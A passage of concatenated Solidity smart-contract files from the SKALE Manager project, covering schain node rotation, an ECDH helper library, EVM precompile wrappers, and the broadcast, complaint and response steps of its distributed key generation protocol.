GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "./interfaces/ISkaleDKG.sol";
import "./utils/Random.sol";
import "./ConstantsHolder.sol";
import "./Nodes.sol";
import "./Permissions.sol";
import "./SchainsInternal.sol";
import "./Schains.sol";
/**
* @title NodeRotation
* @dev This contract handles all node rotation functionality.
*/
contract NodeRotation is Permissions {
using Random for Random.RandomGenerator;
/**
* nodeIndex - index of Node which is in process of rotation (left from schain)
* newNodeIndex - index of Node which is rotated(added to schain)
* freezeUntil - time till which Node should be turned on
* rotationCounter - how many rotations were on this schain
*/
struct Rotation {
uint nodeIndex;
uint newNodeIndex;
uint freezeUntil;
uint rotationCounter;
}
struct LeavingHistory {
bytes32 schainIndex;
uint finishedRotation;
}
mapping (bytes32 => Rotation) public rotations;
mapping (uint => LeavingHistory[]) public leavingHistory;
mapping (bytes32 => bool) public waitForNewNode;
bytes32 public constant DEBUGGER_ROLE = keccak256("DEBUGGER_ROLE");
modifier onlyDebugger() {
require(hasRole(DEBUGGER_ROLE, msg.sender), "DEBUGGER_ROLE is required");
_;
}
/**
* @dev Allows SkaleManager to remove, find new node, and rotate node from
* schain.
*
* Requirements:
*
* - A free node must exist.
*/
function exitFromSchain(uint nodeIndex) external allow("SkaleManager") returns (bool, bool) {
SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal"));
bytes32 schainHash = schainsInternal.getActiveSchain(nodeIndex);
if (schainHash == bytes32(0)) {
return (true, false);
}
_startRotation(schainHash, nodeIndex);
rotateNode(nodeIndex, schainHash, true, false);
return (schainsInternal.getActiveSchain(nodeIndex) == bytes32(0) ? true : false, true);
}
/**
* @dev Allows SkaleManager contract to freeze all schains on a given node.
*/
function freezeSchains(uint nodeIndex) external allow("SkaleManager") {
bytes32[] memory schains = SchainsInternal(
contractManager.getContract("SchainsInternal")
).getSchainHashsForNode(nodeIndex);
for (uint i = 0; i < schains.length; i++) {
if (schains[i] != bytes32(0)) {
require(
ISkaleDKG(contractManager.getContract("SkaleDKG")).isLastDKGSuccessful(schains[i]),
"DKG did not finish on Schain"
);
if (rotations[schains[i]].freezeUntil < now) {
_startWaiting(schains[i], nodeIndex);
} else {
if (rotations[schains[i]].nodeIndex != nodeIndex) {
revert("Occupied by rotation on Schain");
}
}
}
}
}
/**
* @dev Allows Schains contract to remove a rotation from an schain.
*/
function removeRotation(bytes32 schainIndex) external allow("Schains") {
delete rotations[schainIndex];
}
/**
* @dev Allows Owner to immediately rotate an schain.
*/
function skipRotationDelay(bytes32 schainIndex) external onlyDebugger {
rotations[schainIndex].freezeUntil = now;
}
/**
* @dev Returns rotation details for a given schain.
*/
function getRotation(bytes32 schainIndex) external view returns (Rotation memory) {
return rotations[schainIndex];
}
/**
* @dev Returns leaving history for a given node.
*/
function getLeavingHistory(uint nodeIndex) external view returns (LeavingHistory[] memory) {
return leavingHistory[nodeIndex];
}
function isRotationInProgress(bytes32 schainIndex) external view returns (bool) {
return rotations[schainIndex].freezeUntil >= now && !waitForNewNode[schainIndex];
}
function initialize(address newContractsAddress) public override initializer {
Permissions.initialize(newContractsAddress);
}
/**
* @dev Allows SkaleDKG and SkaleManager contracts to rotate a node from an
* schain.
*/
function rotateNode(
uint nodeIndex,
bytes32 schainHash,
bool shouldDelay,
bool isBadNode
)
public
allowTwo("SkaleDKG", "SkaleManager")
returns (uint newNode)
{
SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal"));
schainsInternal.removeNodeFromSchain(nodeIndex, schainHash);
if (!isBadNode) {
schainsInternal.removeNodeFromExceptions(schainHash, nodeIndex);
}
newNode = selectNodeToGroup(schainHash);
Nodes(contractManager.getContract("Nodes")).addSpaceToNode(
nodeIndex,
schainsInternal.getSchainsPartOfNode(schainHash)
);
_finishRotation(schainHash, nodeIndex, newNode, shouldDelay);
}
/**
* @dev Allows SkaleManager, Schains, and SkaleDKG contracts to
* pseudo-randomly select a new Node for an Schain.
*
* Requirements:
*
* - Schain is active.
* - A free node already exists.
* - Free space can be allocated from the node.
*/
function selectNodeToGroup(bytes32 schainHash)
public
allowThree("SkaleManager", "Schains", "SkaleDKG")
returns (uint nodeIndex)
{
SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal"));
Nodes nodes = Nodes(contractManager.getContract("Nodes"));
require(schainsInternal.isSchainActive(schainHash), "Group is not active");
uint8 space = schainsInternal.getSchainsPartOfNode(schainHash);
schainsInternal.makeSchainNodesInvisible(schainHash);
require(schainsInternal.isAnyFreeNode(schainHash), "No free Nodes available for rotation");
Random.RandomGenerator memory randomGenerator = Random.createFromEntropy(
abi.encodePacked(uint(blockhash(block.number - 1)), schainHash)
);
nodeIndex = nodes.getRandomNodeWithFreeSpace(space, randomGenerator);
require(nodes.removeSpaceFromNode(nodeIndex, space), "Could not remove space from nodeIndex");
schainsInternal.makeSchainNodesVisible(schainHash);
schainsInternal.addSchainForNode(nodeIndex, schainHash);
schainsInternal.setException(schainHash, nodeIndex);
schainsInternal.setNodeInGroup(schainHash, nodeIndex);
}
/**
* @dev Initiates rotation of a node from an schain.
*/
function _startRotation(bytes32 schainIndex, uint nodeIndex) private {
rotations[schainIndex].newNodeIndex = nodeIndex;
waitForNewNode[schainIndex] = true;
}
function _startWaiting(bytes32 schainIndex, uint nodeIndex) private {
ConstantsHolder constants = ConstantsHolder(contractManager.getContract("ConstantsHolder"));
rotations[schainIndex].nodeIndex = nodeIndex;
rotations[schainIndex].freezeUntil = now.add(constants.rotationDelay());
}
/**
* @dev Completes rotation of a node from an schain.
*/
function _finishRotation(
bytes32 schainIndex,
uint nodeIndex,
uint newNodeIndex,
bool shouldDelay)
private
{
leavingHistory[nodeIndex].push(
LeavingHistory(
schainIndex,
shouldDelay ? now.add(
ConstantsHolder(contractManager.getContract("ConstantsHolder")).rotationDelay()
) : now
)
);
rotations[schainIndex].newNodeIndex = newNodeIndex;
rotations[schainIndex].rotationCounter++;
delete waitForNewNode[schainIndex];
ISkaleDKG(contractManager.getContract("SkaleDKG")).openChannel(schainIndex);
}
/**
* @dev Checks whether a rotation can be performed.
*
* Requirements:
*
* - Schain must exist.
*/
function _checkRotation(bytes32 schainHash ) private view returns (bool) {
SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal"));
require(schainsInternal.isSchainExist(schainHash), "Schain does not exist for rotation");
return schainsInternal.isAnyFreeNode(schainHash);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
ISkaleDKG.sol - SKALE Manager
Copyright (C) 2019-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
/**
* @dev Interface to {SkaleDKG}.
*/
interface ISkaleDKG {
/**
* @dev See {SkaleDKG-openChannel}.
*/
function openChannel(bytes32 schainHash) external;
/**
* @dev See {SkaleDKG-deleteChannel}.
*/
function deleteChannel(bytes32 schainHash) external;
/**
* @dev See {SkaleDKG-isLastDKGSuccessful}.
*/
function isLastDKGSuccessful(bytes32 groupIndex) external view returns (bool);
/**
* @dev See {SkaleDKG-isChannelOpened}.
*/
function isChannelOpened(bytes32 schainHash) external view returns (bool);
}
// SPDX-License-Identifier: GPL-3.0-or-later
/*
Modifications Copyright (C) 2018 SKALE Labs
ec.sol by @jbaylina under GPL-3.0 License
*/
/** @file ECDH.sol
* @author Jordi Baylina (@jbaylina)
* @date 2016
*/
pragma solidity 0.6.10;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
/**
* @title ECDH
* @dev This contract performs Elliptic-curve Diffie-Hellman key exchange to
* support the DKG process.
*/
contract ECDH {
using SafeMath for uint256;
uint256 constant private _GX = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798;
uint256 constant private _GY = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8;
uint256 constant private _N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F;
uint256 constant private _A = 0;
function publicKey(uint256 privKey) external pure returns (uint256 qx, uint256 qy) {
uint256 x;
uint256 y;
uint256 z;
(x, y, z) = ecMul(
privKey,
_GX,
_GY,
1
);
z = inverse(z);
qx = mulmod(x, z, _N);
qy = mulmod(y, z, _N);
}
function deriveKey(
uint256 privKey,
uint256 pubX,
uint256 pubY
)
external
pure
returns (uint256 qx, uint256 qy)
{
uint256 x;
uint256 y;
uint256 z;
(x, y, z) = ecMul(
privKey,
pubX,
pubY,
1
);
z = inverse(z);
qx = mulmod(x, z, _N);
qy = mulmod(y, z, _N);
}
function jAdd(
uint256 x1,
uint256 z1,
uint256 x2,
uint256 z2
)
public
pure
returns (uint256 x3, uint256 z3)
{
(x3, z3) = (addmod(mulmod(z2, x1, _N), mulmod(x2, z1, _N), _N), mulmod(z1, z2, _N));
}
function jSub(
uint256 x1,
uint256 z1,
uint256 x2,
uint256 z2
)
public
pure
returns (uint256 x3, uint256 z3)
{
(x3, z3) = (addmod(mulmod(z2, x1, _N), mulmod(_N.sub(x2), z1, _N), _N), mulmod(z1, z2, _N));
}
function jMul(
uint256 x1,
uint256 z1,
uint256 x2,
uint256 z2
)
public
pure
returns (uint256 x3, uint256 z3)
{
(x3, z3) = (mulmod(x1, x2, _N), mulmod(z1, z2, _N));
}
function jDiv(
uint256 x1,
uint256 z1,
uint256 x2,
uint256 z2
)
public
pure
returns (uint256 x3, uint256 z3)
{
(x3, z3) = (mulmod(x1, z2, _N), mulmod(z1, x2, _N));
}
function inverse(uint256 a) public pure returns (uint256 invA) {
require(a > 0 && a < _N, "Input is incorrect");
uint256 t = 0;
uint256 newT = 1;
uint256 r = _N;
uint256 newR = a;
uint256 q;
while (newR != 0) {
q = r.div(newR);
(t, newT) = (newT, addmod(t, (_N.sub(mulmod(q, newT, _N))), _N));
(r, newR) = (newR, r % newR);
}
return t;
}
function ecAdd(
uint256 x1,
uint256 y1,
uint256 z1,
uint256 x2,
uint256 y2,
uint256 z2
)
public
pure
returns (uint256 x3, uint256 y3, uint256 z3)
{
uint256 ln;
uint256 lz;
uint256 da;
uint256 db;
// we use (0 0 1) as zero point, z always equal 1
if ((x1 == 0) && (y1 == 0)) {
return (x2, y2, z2);
}
// we use (0 0 1) as zero point, z always equal 1
if ((x2 == 0) && (y2 == 0)) {
return (x1, y1, z1);
}
if ((x1 == x2) && (y1 == y2)) {
(ln, lz) = jMul(x1, z1, x1, z1);
(ln, lz) = jMul(ln,lz,3,1);
(ln, lz) = jAdd(ln,lz,_A,1);
(da, db) = jMul(y1,z1,2,1);
} else {
(ln, lz) = jSub(y2,z2,y1,z1);
(da, db) = jSub(x2,z2,x1,z1);
}
(ln, lz) = jDiv(ln,lz,da,db);
(x3, da) = jMul(ln,lz,ln,lz);
(x3, da) = jSub(x3,da,x1,z1);
(x3, da) = jSub(x3,da,x2,z2);
(y3, db) = jSub(x1,z1,x3,da);
(y3, db) = jMul(y3,db,ln,lz);
(y3, db) = jSub(y3,db,y1,z1);
if (da != db) {
x3 = mulmod(x3, db, _N);
y3 = mulmod(y3, da, _N);
z3 = mulmod(da, db, _N);
} else {
z3 = da;
}
}
function ecDouble(
uint256 x1,
uint256 y1,
uint256 z1
)
public
pure
returns (uint256 x3, uint256 y3, uint256 z3)
{
(x3, y3, z3) = ecAdd(
x1,
y1,
z1,
x1,
y1,
z1
);
}
function ecMul(
uint256 d,
uint256 x1,
uint256 y1,
uint256 z1
)
public
pure
returns (uint256 x3, uint256 y3, uint256 z3)
{
uint256 remaining = d;
uint256 px = x1;
uint256 py = y1;
uint256 pz = z1;
uint256 acx = 0;
uint256 acy = 0;
uint256 acz = 1;
if (d == 0) {
return (0, 0, 1);
}
while (remaining != 0) {
if ((remaining & 1) != 0) {
(acx, acy, acz) = ecAdd(
acx,
acy,
acz,
px,
py,
pz
);
}
remaining = remaining.div(2);
(px, py, pz) = ecDouble(px, py, pz);
}
(x3, y3, z3) = (acx, acy, acz);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
Precompiled.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
library Precompiled {
function bigModExp(uint base, uint power, uint modulus) internal view returns (uint) {
uint[6] memory inputToBigModExp;
inputToBigModExp[0] = 32;
inputToBigModExp[1] = 32;
inputToBigModExp[2] = 32;
inputToBigModExp[3] = base;
inputToBigModExp[4] = power;
inputToBigModExp[5] = modulus;
uint[1] memory out;
bool success;
// solhint-disable-next-line no-inline-assembly
assembly {
success := staticcall(not(0), 5, inputToBigModExp, mul(6, 0x20), out, 0x20)
}
require(success, "BigModExp failed");
return out[0];
}
function bn256ScalarMul(uint x, uint y, uint k) internal view returns (uint , uint ) {
uint[3] memory inputToMul;
uint[2] memory output;
inputToMul[0] = x;
inputToMul[1] = y;
inputToMul[2] = k;
bool success;
// solhint-disable-next-line no-inline-assembly
assembly {
success := staticcall(not(0), 7, inputToMul, 0x60, output, 0x40)
}
require(success, "Multiplication failed");
return (output[0], output[1]);
}
function bn256Pairing(
uint x1,
uint y1,
uint a1,
uint b1,
uint c1,
uint d1,
uint x2,
uint y2,
uint a2,
uint b2,
uint c2,
uint d2)
internal view returns (bool)
{
bool success;
uint[12] memory inputToPairing;
inputToPairing[0] = x1;
inputToPairing[1] = y1;
inputToPairing[2] = a1;
inputToPairing[3] = b1;
inputToPairing[4] = c1;
inputToPairing[5] = d1;
inputToPairing[6] = x2;
inputToPairing[7] = y2;
inputToPairing[8] = a2;
inputToPairing[9] = b2;
inputToPairing[10] = c2;
inputToPairing[11] = d2;
uint[1] memory out;
// solhint-disable-next-line no-inline-assembly
assembly {
success := staticcall(not(0), 8, inputToPairing, mul(12, 0x20), out, 0x20)
}
require(success, "Pairing check failed");
return out[0] != 0;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
SkaleDkgBroadcast.sol - SKALE Manager
Copyright (C) 2021-Present SKALE Labs
@author Dmytro Stebaiev
@author Artem Payvin
@author Vadim Yavorsky
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
import "../SkaleDKG.sol";
import "../KeyStorage.sol";
import "../utils/FieldOperations.sol";
/**
* @title SkaleDkgBroadcast
* @dev Contains functions to manage distributed key generation per
* Joint-Feldman protocol.
*/
library SkaleDkgBroadcast {
using SafeMath for uint;
/**
* @dev Emitted when a node broadcasts keyshare.
*/
event BroadcastAndKeyShare(
bytes32 indexed schainHash,
uint indexed fromNode,
G2Operations.G2Point[] verificationVector,
SkaleDKG.KeyShare[] secretKeyContribution
);
/**
* @dev Broadcasts verification vector and secret key contribution to all
* other nodes in the group.
*
* Emits BroadcastAndKeyShare event.
*
* Requirements:
*
* - `msg.sender` must have an associated node.
* - `verificationVector` must be a certain length.
* - `secretKeyContribution` length must be equal to number of nodes in group.
*/
function broadcast(
bytes32 schainHash,
uint nodeIndex,
G2Operations.G2Point[] memory verificationVector,
SkaleDKG.KeyShare[] memory secretKeyContribution,
ContractManager contractManager,
mapping(bytes32 => SkaleDKG.Channel) storage channels,
mapping(bytes32 => SkaleDKG.ProcessDKG) storage dkgProcess,
mapping(bytes32 => mapping(uint => bytes32)) storage hashedData
)
external
{
uint n = channels[schainHash].n;
require(verificationVector.length == getT(n), "Incorrect number of verification vectors");
require(
secretKeyContribution.length == n,
"Incorrect number of secret key shares"
);
(uint index, ) = SkaleDKG(contractManager.getContract("SkaleDKG")).checkAndReturnIndexInGroup(
schainHash, nodeIndex, true
);
require(!dkgProcess[schainHash].broadcasted[index], "This node has already broadcasted");
dkgProcess[schainHash].broadcasted[index] = true;
dkgProcess[schainHash].numberOfBroadcasted++;
if (dkgProcess[schainHash].numberOfBroadcasted == channels[schainHash].n) {
SkaleDKG(contractManager.getContract("SkaleDKG")).setStartAlrightTimestamp(schainHash);
}
hashedData[schainHash][index] = SkaleDKG(contractManager.getContract("SkaleDKG")).hashData(
secretKeyContribution, verificationVector
);
KeyStorage(contractManager.getContract("KeyStorage")).adding(schainHash, verificationVector[0]);
emit BroadcastAndKeyShare(
schainHash,
nodeIndex,
verificationVector,
secretKeyContribution
);
}
function getT(uint n) public pure returns (uint) {
return n.mul(2).add(1).div(3);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
SkaleDkgComplaint.sol - SKALE Manager
Copyright (C) 2021-Present SKALE Labs
@author Dmytro Stebaiev
@author Artem Payvin
@author Vadim Yavorsky
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
import "../SkaleDKG.sol";
import "../ConstantsHolder.sol";
import "../Wallets.sol";
import "../Nodes.sol";
/**
* @title SkaleDkgComplaint
* @dev Contains functions to manage distributed key generation per
* Joint-Feldman protocol.
*/
library SkaleDkgComplaint {
using SafeMath for uint;
/**
* @dev Emitted when an incorrect complaint is sent.
*/
event ComplaintError(string error);
/**
* @dev Emitted when a complaint is sent.
*/
event ComplaintSent(
bytes32 indexed schainHash, uint indexed fromNodeIndex, uint indexed toNodeIndex);
/**
* @dev Creates a complaint from a node (accuser) to a given node.
* The accusing node must broadcast additional parameters within 1800 blocks.
*
* Emits {ComplaintSent} or {ComplaintError} event.
*
* Requirements:
*
* - `msg.sender` must have an associated node.
*/
function complaint(
bytes32 schainHash,
uint fromNodeIndex,
uint toNodeIndex,
ContractManager contractManager,
mapping(bytes32 => SkaleDKG.Channel) storage channels,
mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints,
mapping(bytes32 => uint) storage startAlrightTimestamp
)
external
{
SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG"));
require(skaleDKG.isNodeBroadcasted(schainHash, fromNodeIndex), "Node has not broadcasted");
if (skaleDKG.isNodeBroadcasted(schainHash, toNodeIndex)) {
_handleComplaintWhenBroadcasted(
schainHash,
fromNodeIndex,
toNodeIndex,
contractManager,
complaints,
startAlrightTimestamp
);
} else {
// not broadcasted in 30 min
_handleComplaintWhenNotBroadcasted(schainHash, toNodeIndex, contractManager, channels);
}
skaleDKG.setBadNode(schainHash, toNodeIndex);
}
function complaintBadData(
bytes32 schainHash,
uint fromNodeIndex,
uint toNodeIndex,
ContractManager contractManager,
mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints
)
external
{
SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG"));
require(skaleDKG.isNodeBroadcasted(schainHash, fromNodeIndex), "Node has not broadcasted");
require(skaleDKG.isNodeBroadcasted(schainHash, toNodeIndex), "Accused node has not broadcasted");
require(!skaleDKG.isAllDataReceived(schainHash, fromNodeIndex), "Node has already sent alright");
if (complaints[schainHash].nodeToComplaint == uint(-1)) {
complaints[schainHash].nodeToComplaint = toNodeIndex;
complaints[schainHash].fromNodeToComplaint = fromNodeIndex;
complaints[schainHash].startComplaintBlockTimestamp = block.timestamp;
emit ComplaintSent(schainHash, fromNodeIndex, toNodeIndex);
} else {
emit ComplaintError("First complaint has already been processed");
}
}
function _handleComplaintWhenBroadcasted(
bytes32 schainHash,
uint fromNodeIndex,
uint toNodeIndex,
ContractManager contractManager,
mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints,
mapping(bytes32 => uint) storage startAlrightTimestamp
)
private
{
SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG"));
// missing alright
if (complaints[schainHash].nodeToComplaint == uint(-1)) {
if (
skaleDKG.isEveryoneBroadcasted(schainHash) &&
!skaleDKG.isAllDataReceived(schainHash, toNodeIndex) &&
startAlrightTimestamp[schainHash].add(_getComplaintTimelimit(contractManager)) <= block.timestamp
) {
// missing alright
skaleDKG.finalizeSlashing(schainHash, toNodeIndex);
return;
} else if (!skaleDKG.isAllDataReceived(schainHash, fromNodeIndex)) {
// incorrect data
skaleDKG.finalizeSlashing(schainHash, fromNodeIndex);
return;
}
emit ComplaintError("Has already sent alright");
return;
} else if (complaints[schainHash].nodeToComplaint == toNodeIndex) {
// 30 min after incorrect data complaint
if (complaints[schainHash].startComplaintBlockTimestamp.add(
_getComplaintTimelimit(contractManager)
) <= block.timestamp) {
skaleDKG.finalizeSlashing(schainHash, complaints[schainHash].nodeToComplaint);
return;
}
emit ComplaintError("The same complaint rejected");
return;
}
emit ComplaintError("One complaint is already sent");
}
function _handleComplaintWhenNotBroadcasted(
bytes32 schainHash,
uint toNodeIndex,
ContractManager contractManager,
mapping(bytes32 => SkaleDKG.Channel) storage channels
)
private
{
if (channels[schainHash].startedBlockTimestamp.add(
_getComplaintTimelimit(contractManager)
) <= block.timestamp) {
SkaleDKG(contractManager.getContract("SkaleDKG")).finalizeSlashing(schainHash, toNodeIndex);
return;
}
emit ComplaintError("Complaint sent too early");
}
function _getComplaintTimelimit(ContractManager contractManager) private view returns (uint) {
return ConstantsHolder(contractManager.getConstantsHolder()).complaintTimelimit();
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
SkaleDkgPreResponse.sol - SKALE Manager
Copyright (C) 2021-Present SKALE Labs
@author Dmytro Stebaiev
@author Artem Payvin
@author Vadim Yavorsky
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "../SkaleDKG.sol";
import "../Wallets.sol";
import "../utils/FieldOperations.sol";
/**
* @title SkaleDkgPreResponse
* @dev Contains functions to manage distributed key generation per
* Joint-Feldman protocol.
*/
library SkaleDkgPreResponse {
using SafeMath for uint;
using G2Operations for G2Operations.G2Point;
function preResponse(
bytes32 schainHash,
uint fromNodeIndex,
G2Operations.G2Point[] memory verificationVector,
G2Operations.G2Point[] memory verificationVectorMult,
SkaleDKG.KeyShare[] memory secretKeyContribution,
ContractManager contractManager,
mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints,
mapping(bytes32 => mapping(uint => bytes32)) storage hashedData
)
external
{
SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG"));
uint index = _preResponseCheck(
schainHash,
fromNodeIndex,
verificationVector,
verificationVectorMult,
secretKeyContribution,
skaleDKG,
complaints,
hashedData
);
_processPreResponse(secretKeyContribution[index].share, schainHash, verificationVectorMult, complaints);
}
function _preResponseCheck(
bytes32 schainHash,
uint fromNodeIndex,
G2Operations.G2Point[] memory verificationVector,
G2Operations.G2Point[] memory verificationVectorMult,
SkaleDKG.KeyShare[] memory secretKeyContribution,
SkaleDKG skaleDKG,
mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints,
mapping(bytes32 => mapping(uint => bytes32)) storage hashedData
)
private
view
returns (uint index)
{
(uint indexOnSchain, ) = skaleDKG.checkAndReturnIndexInGroup(schainHash, fromNodeIndex, true);
require(complaints[schainHash].nodeToComplaint == fromNodeIndex, "Not this Node");
require(!complaints[schainHash].isResponse, "Already submitted pre response data");
require(
hashedData[schainHash][indexOnSchain] == skaleDKG.hashData(secretKeyContribution, verificationVector),
"Broadcasted Data is not correct"
);
require(
verificationVector.length == verificationVectorMult.length,
"Incorrect length of multiplied verification vector"
);
(index, ) = skaleDKG.checkAndReturnIndexInGroup(schainHash, complaints[schainHash].fromNodeToComplaint, true);
require(
_checkCorrectVectorMultiplication(index, verificationVector, verificationVectorMult),
"Multiplied verification vector is incorrect"
);
}
function _processPreResponse(
bytes32 share,
bytes32 schainHash,
G2Operations.G2Point[] memory verificationVectorMult,
mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints
)
private
{
complaints[schainHash].keyShare = share;
complaints[schainHash].sumOfVerVec = _calculateSum(verificationVectorMult);
complaints[schainHash].isResponse = true;
}
function _calculateSum(G2Operations.G2Point[] memory verificationVectorMult)
private
view
returns (G2Operations.G2Point memory)
{
G2Operations.G2Point memory value = G2Operations.getG2Zero();
for (uint i = 0; i < verificationVectorMult.length; i++) {
value = value.addG2(verificationVectorMult[i]);
}
return value;
}
function _checkCorrectVectorMultiplication(
uint indexOnSchain,
G2Operations.G2Point[] memory verificationVector,
G2Operations.G2Point[] memory verificationVectorMult
)
private
view
returns (bool)
{
Fp2Operations.Fp2Point memory value = G1Operations.getG1Generator();
Fp2Operations.Fp2Point memory tmp = G1Operations.getG1Generator();
for (uint i = 0; i < verificationVector.length; i++) {
(tmp.a, tmp.b) = Precompiled.bn256ScalarMul(value.a, value.b, indexOnSchain.add(1) ** i);
if (!_checkPairing(tmp, verificationVector[i], verificationVectorMult[i])) {
return false;
}
}
return true;
}
function _checkPairing(
Fp2Operations.Fp2Point memory g1Mul,
G2Operations.G2Point memory verificationVector,
G2Operations.G2Point memory verificationVectorMult
)
private
view
returns (bool)
{
require(G1Operations.checkRange(g1Mul), "g1Mul is not valid");
g1Mul.b = G1Operations.negate(g1Mul.b);
Fp2Operations.Fp2Point memory one = G1Operations.getG1Generator();
return Precompiled.bn256Pairing(
one.a, one.b,
verificationVectorMult.x.b, verificationVectorMult.x.a,
verificationVectorMult.y.b, verificationVectorMult.y.a,
g1Mul.a, g1Mul.b,
verificationVector.x.b, verificationVector.x.a,
verificationVector.y.b, verificationVector.y.a
);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
SkaleDkgResponse.sol - SKALE Manager
Copyright (C) 2021-Present SKALE Labs
@author Dmytro Stebaiev
@author Artem Payvin
@author Vadim Yavorsky
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "../SkaleDKG.sol";
import "../Wallets.sol";
import "../Decryption.sol";
import "../Nodes.sol";
import "../thirdparty/ECDH.sol";
import "../utils/FieldOperations.sol";
/**
* @title SkaleDkgResponse
* @dev Contains functions to manage distributed key generation per
* Joint-Feldman protocol.
*/
library SkaleDkgResponse {
using G2Operations for G2Operations.G2Point;
function response(
bytes32 schainHash,
uint fromNodeIndex,
uint secretNumber,
G2Operations.G2Point memory multipliedShare,
ContractManager contractManager,
mapping(bytes32 => SkaleDKG.Channel) storage channels,
mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints
)
external
{
uint index = SchainsInternal(contractManager.getContract("SchainsInternal"))
.getNodeIndexInGroup(schainHash, fromNodeIndex);
require(index < channels[schainHash].n, "Node is not in this group");
require(complaints[schainHash].nodeToComplaint == fromNodeIndex, "Not this Node");
require(complaints[schainHash].isResponse, "Have not submitted pre-response data");
uint badNode = _verifyDataAndSlash(
schainHash,
secretNumber,
multipliedShare,
contractManager,
complaints
);
SkaleDKG(contractManager.getContract("SkaleDKG")).setBadNode(schainHash, badNode);
}
function _verifyDataAndSlash(
bytes32 schainHash,
uint secretNumber,
G2Operations.G2Point memory multipliedShare,
ContractManager contractManager,
mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints
)
private
returns (uint badNode)
{
bytes32[2] memory publicKey = Nodes(contractManager.getContract("Nodes")).getNodePublicKey(
complaints[schainHash].fromNodeToComplaint
);
uint256 pkX = uint(publicKey[0]);
